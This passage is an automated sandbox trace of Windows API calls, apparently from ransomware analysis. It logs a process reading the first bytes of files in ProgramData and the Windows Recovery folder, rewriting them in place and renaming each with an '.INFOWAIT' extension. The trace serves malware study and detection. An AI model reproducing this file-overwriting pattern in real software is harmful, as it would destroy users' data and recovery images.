lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" [0116.797] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.INFOWAIT" [0116.797] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn.infowait")) returned 1 [0116.798] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.799] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.799] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.799] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.801] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152 [0116.801] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.801] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.801] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x152, lpOverlapped=0x0) returned 1 [0116.804] VirtualAlloc (lpAddress=0x0, dwSize=0x152, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.805] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.805] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x152, lpOverlapped=0x0) returned 1 [0116.805] CloseHandle (hObject=0xad4) returned 1 [0116.809] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" [0116.809] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.INFOWAIT" [0116.809] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn.infowait")) returned 1 [0116.810] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.811] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.811] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.812] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16a [0116.812] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.813] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.813] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16a, lpOverlapped=0x0) returned 1 [0116.815] VirtualAlloc (lpAddress=0x0, dwSize=0x16a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.816] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.816] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x16a, lpOverlapped=0x0) returned 1 [0116.816] CloseHandle (hObject=0xad4) returned 1 [0116.824] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" [0116.824] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.INFOWAIT" [0116.824] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn.infowait")) returned 1 [0116.825] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.826] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.827] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.828] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152 [0116.828] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.828] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.828] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x152, lpOverlapped=0x0) returned 1 [0116.832] VirtualAlloc (lpAddress=0x0, dwSize=0x152, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.832] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.832] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x152, lpOverlapped=0x0) returned 1 [0116.832] CloseHandle (hObject=0xad0) returned 1 [0116.834] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" [0116.834] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.INFOWAIT" [0116.835] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn.infowait")) returned 1 [0116.835] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.837] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.837] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.837] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.838] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16a [0116.838] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.839] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.839] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16a, lpOverlapped=0x0) returned 1 [0116.843] VirtualAlloc (lpAddress=0x0, dwSize=0x16a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.843] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.843] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x16a, lpOverlapped=0x0) returned 1 [0116.843] CloseHandle (hObject=0xad4) returned 1 [0116.845] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" [0116.845] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.INFOWAIT" [0116.845] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn.infowait")) returned 1 [0116.846] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.847] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.848] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.848] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.850] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x21dc [0116.850] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.850] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.850] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x21dc, lpOverlapped=0x0) returned 1 [0116.880] VirtualAlloc (lpAddress=0x0, dwSize=0x21dc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.882] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.882] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x21dc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x21dc, lpOverlapped=0x0) returned 1 [0116.882] CloseHandle (hObject=0xad4) returned 1 [0116.890] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\nslist.hxl" | out: lpString1="C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned="C:\\ProgramData\\Microsoft Help\\nslist.hxl" [0116.890] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\nslist.hxl", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\nslist.hxl.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\nslist.hxl.INFOWAIT" [0116.890] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl.infowait")) returned 1 [0116.891] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.892] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.893] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.893] CreateFileW (lpFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.898] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa4 [0116.898] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.898] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.898] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa4, lpOverlapped=0x0) returned 1 [0116.902] VirtualAlloc (lpAddress=0x0, dwSize=0xa4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.902] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.902] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa4, lpOverlapped=0x0) returned 1 [0116.902] CloseHandle (hObject=0xad0) returned 1 [0116.906] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" | out: lpString1="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0116.907] lstrcatW (in: lpString1="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.INFOWAIT") returned="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.INFOWAIT" [0116.907] MoveFileW (lpExistingFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.INFOWAIT" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.infowait")) returned 1 [0116.907] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.909] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.909] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.909] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.909] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x77 [0116.909] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.910] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.910] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x77, lpOverlapped=0x0) returned 1 [0116.914] VirtualAlloc (lpAddress=0x0, dwSize=0x77, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.914] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.914] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x77, lpOverlapped=0x0) returned 1 [0116.914] CloseHandle (hObject=0xad0) returned 1 [0116.921] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" | out: lpString1="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" [0116.921] lstrcatW (in: lpString1="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.INFOWAIT") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.INFOWAIT" [0116.921] MoveFileW (lpExistingFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.INFOWAIT" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml.infowait")) returned 1 [0116.921] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.923] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.924] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.924] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.924] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x306000 [0116.924] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.925] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.925] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0116.953] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0116.966] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.966] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0116.967] CloseHandle (hObject=0xad0) returned 1 [0117.165] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" [0117.165] lstrcatW (in: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", lpString2=".INFOWAIT" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.INFOWAIT") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.INFOWAIT" [0117.165] MoveFileW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.INFOWAIT" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.infowait")) returned 1 [0117.166] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.167] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.168] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.168] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0117.172] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa160012 [0117.172] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.172] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.172] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0117.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0117.202] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.202] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0117.203] CloseHandle (hObject=0xad4) returned 1 [0117.651] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" [0117.651] lstrcatW (in: 